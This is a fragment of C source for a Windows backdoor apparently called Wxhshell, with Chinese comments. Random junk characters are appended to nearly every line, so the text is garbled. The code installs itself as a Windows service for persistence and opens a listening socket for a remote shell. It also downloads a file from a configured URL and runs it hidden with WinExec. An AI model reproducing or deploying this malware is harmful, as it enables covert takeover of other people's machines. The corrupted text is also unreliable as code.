DWORD ExitStatus; k4` %.;
DWORD PebBaseAddress; i1 GQ=@
DWORD AffinityMask; we
kb&?
DWORD BasePriority; Fz| r[
ULONG UniqueProcessId; 6p.y/LMO
ULONG InheritedFromUniqueProcessId; X9C:AGbp
} PROCESS_BASIC_INFORMATION; y!|4]/G]?t
?/(*cA
PROCNTQSIP NtQueryInformationProcess; 4y$okn\}i
|lyspD
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?`75ah
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s~c cx"HH
KbH|'/w
HANDLE hProcess;
6B}V{2
PROCESS_BASIC_INFORMATION pbi; G}aM~, v
X<f4X"y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ty*+?#`
if(NULL == hInst ) return 0; V|<'o<h8
lQ4$d{m`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q,};O$h
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7Oi<_b
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t&IWKu#
>;}(?+|f
if (!NtQueryInformationProcess) return 0; om6`>I*
Vygh|UEo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gc;-zq
if(!hProcess) return 0; nk;+L
j|b$b,rF\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \)2'+R
Z}3;Ych
CloseHandle(hProcess); wp@6RJ
kc2
8Q2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jV<5GWq
if(hProcess==NULL) return 0; +^.xLTX`$
R?J8#JPXD
HMODULE hMod; {@PZlQg
char procName[255]; Ij9=J1c4
unsigned long cbNeeded; v7D0E[)~
VS65SxHA
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BU|m{YZ$
/)4Q%Zp
CloseHandle(hProcess); {&FOa'bP
r>rL[`p(2
if(strstr(procName,"services")) return 1; // 以服务启动 SUL\|z`5
oq(W|
return 0; // 注册表启动 nd5.Py$
} 2\F'So
sBNqg~HwB?
// 主模块 }T53y6J#
int StartWxhshell(LPSTR lpCmdLine) <d{>[R)
{ ZR8y9mx2"
SOCKET wsl; V-"#Kf9
BOOL val=TRUE; !.O;SG
int port=0; YDgG2hT/2
struct sockaddr_in door; cu#r#0U-
'yh)6mid
if(wscfg.ws_autoins) Install(); u5`b")a
_&]Gw, ~/i
port=atoi(lpCmdLine); ;h#Q!M&e#
vJ;0%;eu[!
if(port<=0) port=wscfg.ws_port; }hXmK.['
G+m[W
WSADATA data; VY@`)
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eGWwPSIp
"M,Hm!j
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; w!}kcn<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hzh3p[
door.sin_family = AF_INET; $]a*ZHd;2&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &C#?&AQ
door.sin_port = htons(port); $M1;d1e6'
F#RtU :R
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qporH]J-E
closesocket(wsl); w~n+hhMF
return 1; p#>,{
} V! .I>
H<qz
rO
if(listen(wsl,2) == INVALID_SOCKET) { tNAmA
closesocket(wsl); >B.KI}dE
return 1; uY3?(f#
} sjHcq5#U!
Wxhshell(wsl); Q0L1!}w
WSACleanup(); R,-DP/ (im
<4I`|D3@
return 0; E:P_CDSd]
k7 Ne(4P
} U:|:Y=O?Q
O1oh,~W
// 以NT服务方式启动 %)e&"mq!|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S4!B;,?AxN
{ `U>]*D68
DWORD status = 0; -8SZ}J
DWORD specificError = 0xfffffff; cHnd
gUW]
|"}rC >+
serviceStatus.dwServiceType = SERVICE_WIN32; QjTs$#eMW
serviceStatus.dwCurrentState = SERVICE_START_PENDING; f2ck=3
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V7k!;0u
v
serviceStatus.dwWin32ExitCode = 0; )
gxN'z
serviceStatus.dwServiceSpecificExitCode = 0; !z5Ozm+}
serviceStatus.dwCheckPoint = 0; ;Ji3|=4u
serviceStatus.dwWaitHint = 0; JRDIGS_~
_t6.9CXl
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LXRIo2ynuw
if (hServiceStatusHandle==0) return; PE6ZzxR|U<
6L-3cxqf\
status = GetLastError(); NHhKEx0Gtu
if (status!=NO_ERROR) }50s\H._C
{ X$_z"t
serviceStatus.dwCurrentState = SERVICE_STOPPED; E.CG
serviceStatus.dwCheckPoint = 0; WH.3
serviceStatus.dwWaitHint = 0; WogCt,
serviceStatus.dwWin32ExitCode = status; | 8akp
serviceStatus.dwServiceSpecificExitCode = specificError; YOY2K%o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w1+
%+x
return; UvL=^*tm
} cfHtUv
VzWH9%w
serviceStatus.dwCurrentState = SERVICE_RUNNING; '.7ER
serviceStatus.dwCheckPoint = 0; W'v
o?
serviceStatus.dwWaitHint = 0; RVr5^l;"
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1\/^X>@W{
} *tl; 0<n
",S146Y+
// 处理NT服务事件,比如:启动、停止 ~@"H\):/
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5W09>C>OC
{ u_Xp\RJ
switch(fdwControl) id>2G
%Tx
{ Crezo?
case SERVICE_CONTROL_STOP: 1#|qT7
serviceStatus.dwWin32ExitCode = 0; W O'nW
serviceStatus.dwCurrentState = SERVICE_STOPPED; QF$s([
serviceStatus.dwCheckPoint = 0; (?[%u0%_
serviceStatus.dwWaitHint = 0; _I0=a@3
{ +rka5ts
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n -xCaq
} _DYe<f.
return; Pt/F$A{Cj
case SERVICE_CONTROL_PAUSE: b\UE+\a&
serviceStatus.dwCurrentState = SERVICE_PAUSED; QH k jxj
break; Yd<9Y\W%?
case SERVICE_CONTROL_CONTINUE: ~8)l/I=`);
serviceStatus.dwCurrentState = SERVICE_RUNNING; I-W,C&J>
break; D*g
K, `
case SERVICE_CONTROL_INTERROGATE: w$jSlgUHy)
break; :bqUA(k
}; "XU)(<p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,9$| "e&
} ?',GR aD
^g"% :4zO
// 标准应用程序主函数 ZSLvr-,D
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *EFuK8 ;
{ $ou/ Fn
e1ExB#
// 获取操作系统版本 $NBQv6#:
OsIsNt=GetOsVer(); ~pwk[Q!
GetModuleFileName(NULL,ExeFile,MAX_PATH); /Nhc|x6zQ
* b"aJ<+
// 从命令行安装 j/1f|x
if(strpbrk(lpCmdLine,"iI")) Install(); Z5@E|O &
mJsU7bD`
// 下载执行文件 12l1u[TlS
if(wscfg.ws_downexe) { !HF<fn
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8k^1:gt^
WinExec(wscfg.ws_filenam,SW_HIDE); UTO$L|K
} r<